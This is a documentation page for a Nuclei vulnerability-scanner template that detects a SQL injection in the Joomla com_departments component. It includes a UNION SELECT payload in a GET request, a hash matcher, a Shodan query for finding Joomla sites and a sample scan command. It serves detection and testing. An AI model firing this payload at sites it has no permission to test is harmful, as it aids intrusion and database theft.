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Joomla `departments` - SQL Injection

ID: joomla-department-sqli

Severity: high

Author: ritikchaddha

Tags: joomla,sqli

Joomla! com_departments parameter contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

id: joomla-department-sqli
info:
name: Joomla `departments` - SQL Injection
author: ritikchaddha
severity: high
description: |
Joomla! `com_departments` parameter contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
reference:
- https://github.com/opensec-cn/kunpeng/blob/master/plugin/json/joomla_departments_sqli.json
- https://github.com/w3bd0gs/cocoworker/blob/master/plugins/beebeeto/poc_2014_0170.py
metadata:
max-request: 1
shodan-query: http.component:"Joomla"
tags: joomla,sqli
variables:
num: "999999999"
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_departments&id=-1%20UNION%20SELECT%201,md5({{num}}),3,4,5,6,7,8--"
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
# digest: 4a0a00473045022100ef26466547bd10cfbf12ca0c003bc64301fb6ae2b10d9adb633b235ea7724c46022045f3bd703e40144e23b69818b093aa0b014b902360920f43b95b3dd792b58857:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/joomla/joomla-department-sqli.yaml"

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